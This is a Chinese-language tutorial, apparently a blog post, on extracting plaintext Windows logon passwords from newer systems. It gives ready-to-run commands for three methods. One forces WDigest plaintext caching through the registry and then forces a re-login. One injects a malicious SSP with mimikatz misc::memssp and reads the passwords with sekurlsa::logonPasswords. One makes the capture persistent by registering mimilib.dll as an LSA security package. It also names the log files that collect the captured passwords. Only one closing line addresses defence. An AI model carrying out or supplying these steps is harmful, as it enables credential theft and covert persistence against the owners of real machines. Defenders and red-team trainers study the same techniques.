高版本系统密码抓取
文章目录
1. 高版本系统密码存储机制概述
- 旧系统(如Win7/Win2008):内存中存储明文密码,可直接抓取。
- 新系统(Win10/Win11/2012+)或打了补丁KB2971997:内存中不再存储明文密码,传统方法失效。
- 核心问题:需要利用其他技术手段强制系统暴露明文密码。
2. 修改WDigest注册表获取密码
原理
通过修改注册表强制系统在内存中缓存明文密码(需用户重新登录后生效)。
操作步骤
- 检查当前注册表状态
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /V UseLogonCredential
- 若提示“找不到项”,表示需要手动创建。
修改注册表值(需管理员权限)
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
1
:开启明文存储;0
:关闭。
- 触发密码缓存
- 锁屏:
rundll32.exe user32.dll,LockWorkStation
- 注销用户:
logoff <用户ID>
(通过query user
查询ID)。
读取密码
使用工具(如mimikatz)执行:
privilege::debug ----提升权限 sekurlsa::logonPasswords
3. 内存注入SSP获取密码
原理
向系统内存注入恶意SSP(安全支持提供程序),记录用户登录时的明文密码(重启失效)。
操作步骤
注入SSP到内存
方法1:使用mimikatz
privilege::debug misc::memssp
方法2:PowerShell脚本
Invoke-Mimikatz -Command "misc::memssp"
触发密码记录
- 锁屏让用户重新登录:
rundll32.exe user32.dll,LockWorkStation
- 密码会保存在:
C:\Windows\System32\mimilsa.log
。
- 锁屏让用户重新登录:
4. 注册表添加SSP实现持久化
原理
将SSP文件注册为系统服务,重启后仍生效(永久记录密码)。
操作步骤
复制SSP文件到系统目录
- 将
mimilib.dll
复制到C:\Windows\System32
。
- 将
修改注册表
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v "Security Packages" /t REG_MULTI_SZ /d mimilib.dll /f
- 添加后,系统启动时会加载该SSP。
获取密码
- 用户登录后,密码会记录在:
C:\Windows\System32\kiwissp.log
。
- 用户登录后,密码会记录在:
总结对比
方法 | 优点 | 缺点 |
---|---|---|
修改WDigest注册表 | 操作简单 | 需用户重新登录 |
内存注入SSP | 无需重启 | 重启后失效 |
注册表添加SSP | 持久化生效 | 需管理员权限+文件操作 |
注意事项
1. **权限要求**:所有操作均需管理员权限。
2. **防御措施**:监控注册表修改、限制未知DLL加载、定期检查系统日志。
3. **工具风险**:mimikatz等工具可能被杀毒软件拦截。